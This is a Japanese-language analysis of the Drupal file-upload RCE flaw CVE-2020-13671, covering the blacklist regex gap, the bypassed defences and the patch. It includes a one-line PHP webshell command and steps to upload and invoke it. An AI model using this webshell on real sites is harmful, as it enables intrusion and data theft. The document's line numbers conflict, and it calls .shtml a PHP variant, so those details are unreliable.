
CVE-2020-13671 - ファイルアップロードを介したDrupal RCE脆弱性の解析とPoC
ソフトウェア: Drupal Core 8.7.5 (影響を受けるバージョン: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (高)
CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード
CISA KEV: はい — 既知の悪用済み脆弱性
アドバイザリ: SA-CORE-2020-012
Drupalは、PHPで書かれたオープンソースのCMS(コンテンツ管理システム)です。WordPressやJoomlaに似ていますが、エンタープライズサイトや多言語プラットフォームなど、より複雑なシステムの構築に向いています。Drupalはモジュール式アーキテクチャを採用しており、利用可能なモジュールの有効化/無効化や、コミュニティ製の追加モジュールのインストールによって機能を拡張できます。
どのCMSにもある基本的な機能の1つは、ユーザーによるファイルのアップロードです — プロフィール画像、添付文書、記事内の添付ファイルなど。Drupalはこれらのファイルをsites/default/files/ディレクトリに保存し、Webサーバー(ApacheやNginx)を通じて直接配信します。
⇒ これは明確な攻撃対象領域を生み出します。攻撃者がPHPファイルをそのディレクトリにアップロードできた場合、Webサーバーは受信リクエストでアクセスされたときにそれを実行します。
これを防ぐため、Drupalは複数の防御層を構築しています。ファイル拡張子の検証、危険なファイルのリネーム、アップロードディレクトリでスクリプト実行をブロックする.htaccessの配置などです。しかしバージョン8.7.5では、攻撃者はこれらの層に存在するまさにその盲点を突きます。
この脆弱性の悪用には、ファイルアップロード権限を持つアカウントが必要です。Drupal 8.7.5のデフォルトでは、通常ユーザー(認証済みユーザー)はコンテンツの閲覧とコメント投稿の権限のみを持ち、記事の作成やファイルアップロードの権限はありません。
| アカウント | 悪用可能? | 説明 |
|---|---|---|
| 管理者 | はい | フルアップロード権限 |
| 編集者 / コンテンツ作成者 | はい | 管理者が「コンテンツ作成」権限とアップロード権限を付与した場合 |
| 認証済みユーザー (デフォルト) | いいえ | デフォルトではコンテンツ作成やアップロードの権限なし |
| 匿名ユーザー (未ログイン) | いいえ | アップロード権限なし |
ただし、実際には多くのDrupalサイトが一般ユーザーにコンテンツ作成権限を付与しています(フォーラム、コミュニティブログ、記事投稿を許可するニュースサイトなど)。その場合、攻撃者はアカウントを登録するだけで悪用できます。
攻撃フロー:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
core/modules/file/file.moduleには、どのファイルが実行可能とみなされるかを決定する正規表現が1つあります。
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

この正規表現は、7つの拡張子(phar、php、pl、py、cgi、asp、js)を列挙しています。このリストに一致する拡張子を持つファイルには、Drupalが自動的に.txtを末尾に付加し、実行能力を無効化します。
しかし、PHPエンジンは.phpファイルだけを処理するわけではありません。Webサーバーの設定によっては、他の拡張子も認識・実行します。
| 拡張子 | 意味 | 正規表現に含まれる? |
|---|---|---|
.php | PHP標準 | はい |
.phtml | PHP代替テンプレート | いいえ |
.php5 | PHP 5ハンドラ | いいえ |
.pht | PHPテンプレート | いいえ |
.phps | PHPソース | いいえ |
.shtml | Server-Side Includes | いいえ |
PHP拡張子の5つのバリアントが正規表現から完全に欠落しています。つまり、shell.phtmlという名前のファイルがDrupalに送信されると → 正規表現が一致しない → リネームされない → 元の名前のままアップロードディレクトリに保存される → Webサーバーが.phtmlを認識してPHPとして実行する → 攻撃者はRCEを達成します。これが根本原因です。Drupalは危険な拡張子をブロックするためにブラックリストを使用していましたが、そのリストは不完全だったのです。
ユーザーがファイルをアップロードすると、Drupalは保存前にファイルを3つの検証関数に通します。以下は、.phtmlに対してこの3つすべてが失敗する理由の分析です。
file_munge_filename() (core/includes/file.inc)目的: ファイル名の途中に位置する危険な拡張子を検出し、_を追記して無効化すること。この関数の動作:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
shell.phtmlの場合:
explodeは["shell", "phtml"]に分割しますshiftは"shell"を取り出し、["phtml"]が残りますpopは"phtml"を取り出し、[]が残りますforeachは実行されません"shell.phtml"をそのまま返しますただし、ファイルが拡張子を1つしか持たない場合、この関数は介入しません。つまり、この関数は複数の拡張子を持つファイルを処理するためだけに設計されています。
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)これが主な防御層です。1015行目のコード:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
ファイル名が正規表現に一致した場合 → MIMEをtext/plainに変更し、末尾に.txtを追加します。
shell.phtmlの場合:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')は0を返しますしたがって、この部分は危険なファイルをブロックするはずでしたが、正規表現が.phtmlの危険性を認識していないため、そのまま通過してしまいます。
.htaccessDrupalはsites/default/files/に.htaccessファイルを配置します:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine offディレクティブは、ディレクトリ全体のPHPエンジンをオフにしますが、これはmod_php5にのみ適用されます。Drupal 8.7.5はPHP 7で動作するため、mod_php7がアクティブで、無効化されていません。
また、.htaccessには他にも3つの弱点があります:
.htaccessを読みません — このファイルはNginxでは完全に効果がありませんAllowOverride None**で構成されている場合 → .htaccessは無視されますmod_phpの代わりにPHP-FPMを使用しているサーバー → php_flagディレクティブは効果がありませんecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
アップロード権限を持つアカウントでDrupalにログイン → コンテンツ → コンテンツを追加 → 記事 → 画像フィールドでwebshell.phtmlを選択 → アップロード。
Drupalはファイルを受け入れ、リネームせず、元の名前のままsites/default/files/に保存します。

その後、whoamiでシェル呼び出しを実行します:

これで、www-dataとしてRCEを達成できました。
さらに認証情報を確認するためにテストを実行:

攻撃者は、データベース認証情報を含むsettings.phpを読み取り、DB全体をダンプし、リバースシェルを仕込み、rootへの権限昇格を行うことができます。
正規表現を更新 — 欠落している5つの拡張子を追加:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccessを更新 — mod_php7の無効化を追加:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
このパッチは機能しますが、依然としてブラックリストに依存しています。将来、新しい拡張子(.php8、.phpt)が登場した場合は、正規表現を再度更新する必要があります。既知の安全な拡張子のみを許可するホワイトリスト方式の方が、より徹底した対策になるでしょう。
| 脆弱なファイル | core/modules/file/file.module 28行目 |
|---|---|
| 根本原因 | 正規表現のブラックリストに.phtml、.php5、.pht、.phps、.shtmlが欠落している |
| 影響 | .phtmlをアップロード → サーバーが実行 → RCE |
| 迂回された3つの防御層 | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| パッチ | 正規表現に5つの拡張子を追加 + .htaccessでmod_php7を無効化 |